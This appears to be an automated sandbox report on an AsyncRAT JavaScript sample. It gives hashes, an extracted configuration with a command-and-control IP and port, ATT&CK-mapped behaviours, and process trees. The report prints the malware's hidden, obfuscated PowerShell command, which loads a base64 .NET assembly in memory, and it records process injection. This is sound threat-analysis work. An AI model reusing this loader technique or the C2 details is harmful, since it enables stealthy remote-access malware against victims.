asyncrat | a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 19:18

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General

Target
a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea.js
Size 36.8MB
Sample260916-xz7cmsda93
SHA256 a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea
MD5 4f53e55c9f3cfe1105b118ecf390b95c
SHA1 99a3564a7ade03b2fb42a684dd3ee1cd31e8760e
SHA512 d75eda725045f38259844055c166b6a112b3735e88ecb07ed8fd476cf4613fbbb7b504175512e9274340ecea3b2fbcbbc5438ff96c7051695af5a98896ad1faa
SSDEEP 3072:g/QcAhVvgLzc3OZxnaRroo027LcCc4cJcMYz+d4kcCX1ZlBpXcYctnAVU6bKGc99:JT+e
TLSH
T1BF875DC49F8025FD6B0FB9311056E9ECE23A2B65D25219151A8CBE94EFD31DD0F09BAC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

2026 discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

2026

194.58.47.81:5025

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2340	3060	powershell.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	464	3060	powershell.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4300	3060	powershell.exe	87

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2340	powershell.exe
3	4300	powershell.exe
4	464	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
464	powershell.exe
4300	powershell.exe
2340	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2340 set thread context of 2788	2340	powershell.exe	94
PID 4300 set thread context of 3104	4300	powershell.exe	97
PID 464 set thread context of 240	464	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2340	powershell.exe
2340	powershell.exe
4300	powershell.exe
4300	powershell.exe
464	powershell.exe
464	powershell.exe
4300	powershell.exe
4300	powershell.exe
4300	powershell.exe
4300	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 2788	2340	powershell.exe	94
PID 2340 wrote to memory of 2788	2340	powershell.exe	94
PID 2340 wrote to memory of 2788	2340	powershell.exe	94
PID 2340 wrote to memory of 2788	2340	powershell.exe	94
PID 2340 wrote to memory of 2788	2340	powershell.exe	94
PID 4300 wrote to memory of 4740	4300	powershell.exe	95
PID 4300 wrote to memory of 2748	4300	powershell.exe	96
PID 4300 wrote to memory of 3104	4300	powershell.exe	97
PID 4300 wrote to memory of 3104	4300	powershell.exe	97
PID 4300 wrote to memory of 3104	4300	powershell.exe	97
PID 4300 wrote to memory of 3104	4300	powershell.exe	97
PID 4300 wrote to memory of 3104	4300	powershell.exe	97
PID 464 wrote to memory of 240	464	powershell.exe	98
PID 464 wrote to memory of 240	464	powershell.exe	98
PID 464 wrote to memory of 240	464	powershell.exe	98
PID 464 wrote to memory of 240	464	powershell.exe	98
PID 464 wrote to memory of 240	464	powershell.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea.js
1⤵
PID:6016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$mamoodi=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$Amgun=[System.IO.MemoryStream][Convert]::FromBase64String($mamoodi);[System.Reflection.Assembly]::Load($Amgun.ToArray())|Out-Null;[Win32.RMP.Cls_cOWGusRPOZ]::Met_cOWGusRPOZpX('MW5hEIZ1k+ehXN96NFyde3FAdB/gjj1fPPlgL7gCEheA5rdzjPeDvoSNp6fDpXD4XBlheIF1ttVfIJG1HIXpYeqvpI7vMpt+h/6BQk4IO9zEiE+gU8PK3koaU1FbffDaCBfP/slHBN5vJDYzPmJwM0kix9+8//Gc3dGXxSHPe98=','','hQjwcw0wZAbtAuPFuKwKETys90eV0sxW8Udf8Rr/mlAyw9rYGYabLncMZYSCdmyq','FNGDP7v/kkKV7UajLYLDLrzE584pdqzWyScj7p32gx0=','qaXp2qgbTU9/UFOsL+N3AVhmFI1gEb8hAN8YiWmRIV4=','','0HeKOY61dCN6whbIDa0Hu/OTbcU/odG7gX0tn7hSRag=','','XOPzk4vBZ0WNvVuqIor1zE5uM4s8qDyE+MZaDCO5LiY=','rYb7gF7dEwp62SKveP6cJqZRYAprDPuV9tyJITdXShxsMwbYpjlsK0iuEmc03ZS6','GkambXYAS9aRo7gMNjlHV/16oi3chx1DJ0udBnzk0kk=','P2xNQmFtj25Eri0qS9m9GwDlg6aDODOgM93v5Y2iSk8=','skR6AglORk683EOZ4AHtetTKSTdXG1lqJZpSRtWP+ls=','','Yw93Z73ZHSI1qTh6d/mrqQGqHx77BSYpkzfJnxTsZAA=','WbSWWiZqC8ks2pauH4OMjPIg4TmkBtknQTudIw4aGjs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$mamoodi=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$Amgun=[System.IO.MemoryStream][Convert]::FromBase64String($mamoodi);[System.Reflection.Assembly]::Load($Amgun.ToArray())|Out-Null;[Win32.RMP.Cls_cOWGusRPOZ]::Met_cOWGusRPOZpX('MW5hEIZ1k+ehXN96NFyde3FAdB/gjj1fPPlgL7gCEheA5rdzjPeDvoSNp6fDpXD4XBlheIF1ttVfIJG1HIXpYeqvpI7vMpt+h/6BQk4IO9zEiE+gU8PK3koaU1FbffDaCBfP/slHBN5vJDYzPmJwM0kix9+8//Gc3dGXxSHPe98=','','hQjwcw0wZAbtAuPFuKwKETys90eV0sxW8Udf8Rr/mlAyw9rYGYabLncMZYSCdmyq','FNGDP7v/kkKV7UajLYLDLrzE584pdqzWyScj7p32gx0=','qaXp2qgbTU9/UFOsL+N3AVhmFI1gEb8hAN8YiWmRIV4=','','0HeKOY61dCN6whbIDa0Hu/OTbcU/odG7gX0tn7hSRag=','','XOPzk4vBZ0WNvVuqIor1zE5uM4s8qDyE+MZaDCO5LiY=','rYb7gF7dEwp62SKveP6cJqZRYAprDPuV9tyJITdXShxsMwbYpjlsK0iuEmc03ZS6','GkambXYAS9aRo7gMNjlHV/16oi3chx1DJ0udBnzk0kk=','P2xNQmFtj25Eri0qS9m9GwDlg6aDODOgM93v5Y2iSk8=','skR6AglORk683EOZ4AHtetTKSTdXG1lqJZpSRtWP+ls=','','Yw93Z73ZHSI1qTh6d/mrqQGqHx77BSYpkzfJnxTsZAA=','WbSWWiZqC8ks2pauH4OMjPIg4TmkBtknQTudIw4aGjs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:464
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  PID:240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$mamoodi=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$Amgun=[System.IO.MemoryStream][Convert]::FromBase64String($mamoodi);[System.Reflection.Assembly]::Load($Amgun.ToArray())|Out-Null;[Win32.RMP.Cls_cOWGusRPOZ]::Met_cOWGusRPOZpX('MW5hEIZ1k+ehXN96NFyde3FAdB/gjj1fPPlgL7gCEheA5rdzjPeDvoSNp6fDpXD4XBlheIF1ttVfIJG1HIXpYeqvpI7vMpt+h/6BQk4IO9zEiE+gU8PK3koaU1FbffDaCBfP/slHBN5vJDYzPmJwM0kix9+8//Gc3dGXxSHPe98=','','hQjwcw0wZAbtAuPFuKwKETys90eV0sxW8Udf8Rr/mlAyw9rYGYabLncMZYSCdmyq','FNGDP7v/kkKV7UajLYLDLrzE584pdqzWyScj7p32gx0=','qaXp2qgbTU9/UFOsL+N3AVhmFI1gEb8hAN8YiWmRIV4=','','0HeKOY61dCN6whbIDa0Hu/OTbcU/odG7gX0tn7hSRag=','','XOPzk4vBZ0WNvVuqIor1zE5uM4s8qDyE+MZaDCO5LiY=','rYb7gF7dEwp62SKveP6cJqZRYAprDPuV9tyJITdXShxsMwbYpjlsK0iuEmc03ZS6','GkambXYAS9aRo7gMNjlHV/16oi3chx1DJ0udBnzk0kk=','P2xNQmFtj25Eri0qS9m9GwDlg6aDODOgM93v5Y2iSk8=','skR6AglORk683EOZ4AHtetTKSTdXG1lqJZpSRtWP+ls=','','Yw93Z73ZHSI1qTh6d/mrqQGqHx77BSYpkzfJnxTsZAA=','WbSWWiZqC8ks2pauH4OMjPIg4TmkBtknQTudIw4aGjs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  PID:4740
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  PID:2748
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 ed17405b4b8bded24d42b55c6878bc65a2f4a0fffa9b8834016c298a3019d3ef
MD5 e93fd94b523524327a66f380f7d83b2d
SHA1 54bcbb1ca858bd15a97287676b0ce595f7ee2110
SHA512 e4c0bb494fd3f1790f7cd96e89cd09f4a73352f7020759f09074cd9e10cbe036221394a8fbf2f85feec24c5399f43030243e86c659cf10c7d48b12f74f66e7bb
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

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__PSScriptPolicyTest_3xasawcp.ldy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3xasawcp.ldy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2340-13-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-16-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-7-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-8-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-9-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-11-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-10-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-0-0x00007FFF15AFF000-0x00007FFF15B00000-memory.dmp

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memory/2340-15-0x000001EF991D0000-0x000001EF992B0000-memory.dmp

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memory/2340-6-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-14-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-18-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-17-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-12-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-4-0x000001EF9B590000-0x000001EF9B5B2000-memory.dmp

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memory/2340-25-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-5-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2340-1-0x00007FFF15970000-0x00007FFF16314000-memory.dmp

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memory/2788-21-0x0000000000400000-0x0000000000412000-memory.dmp

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